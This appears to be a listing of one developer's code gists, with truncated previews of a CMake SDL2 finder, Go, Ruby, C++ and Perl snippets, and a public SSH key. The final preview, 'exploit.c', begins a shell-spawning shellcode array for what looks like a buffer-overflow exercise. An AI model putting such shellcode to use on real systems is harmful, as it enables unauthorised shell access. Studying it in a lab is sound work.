This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#.rst: | |
# FindSDL2 | |
# ------- | |
# | |
# Locate SDL2 library | |
# | |
# This module defines | |
# | |
# :: | |
# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import "github.com/xeipuuv/gojsonschema" | |
func main() { | |
testMap := map[string]interface{}{ | |
"title": "Example Schema", | |
"type": "object", | |
"properties": map[string]interface{}{ | |
"firstName": map[string]interface{}{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"errors" | |
"fmt" | |
"labix.org/v2/mgo/bson" | |
) | |
func main() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDVXPCo4x3pjIlpIaFu+YbnaWogLha1vzXx9HSB5183ch+2Sc0Rb1jahwqbB+/ili1lzSsCt6KXe8qxsw4f8Owknf8R4wTIPVGT+WARmtwP0i1hH3T36v4mvMnnnABy6cTuL42oAZBYT8PAjofyoF5Hm850nydNOCb0hlXKGr3u2EPKFIjn7zcyMh07Dq3YpVxR9vzyAA8crxtqcDId4JmZdm4vOiZCsO0Z9HlBL9hVW66+cG4hazjnMBxaCV8/PwXYMt64rr+jwt/iu43bKCbnOMBHkHY55e5hZhXd8hJxV80vtzC6Lf5vTsHk/Ms457rbncnsg/diLxvEOj8duZ/ bodie@phaeton |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Cell | |
def initialize | |
@name=:nak | |
@eu=384000 | |
@time=150 | |
end | |
attr_reader :name, :eu, :time | |
end | |
class Reactor |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Bodie Solomon 2013 | |
// TCP Echo client | |
#include <iostream> | |
#include <boost/array.hpp> | |
#include <boost/asio.hpp> | |
#define MAX_LENGTH 1024 | |
using boost::asio::ip::tcp; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/perl | |
use strict; | |
use warnings; | |
# JBS 2013 | |
# External sort | |
# read lines (possibly billions of lines) from standard input | |
# print out the 100 most common lines |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/perl | |
# Bodie Solomon 2013 | |
# question 2: hex dump | |
use strict; | |
use warnings; | |
{ | |
local $/ = \16; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use Getopt::Std; | |
use vars '$opt_p'; | |
use strict; | |
use warnings; | |
getopts('p:'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* exploit.c */ | |
/* A program that creates a file containing code for launching shell*/ | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
char shellcode[]= | |
"\x31\xc0" /* xorl %eax,%eax */ | |
"\x50" /* pushl %eax */ | |
"\x68""//sh" /* pushl $0x68732f2f */ |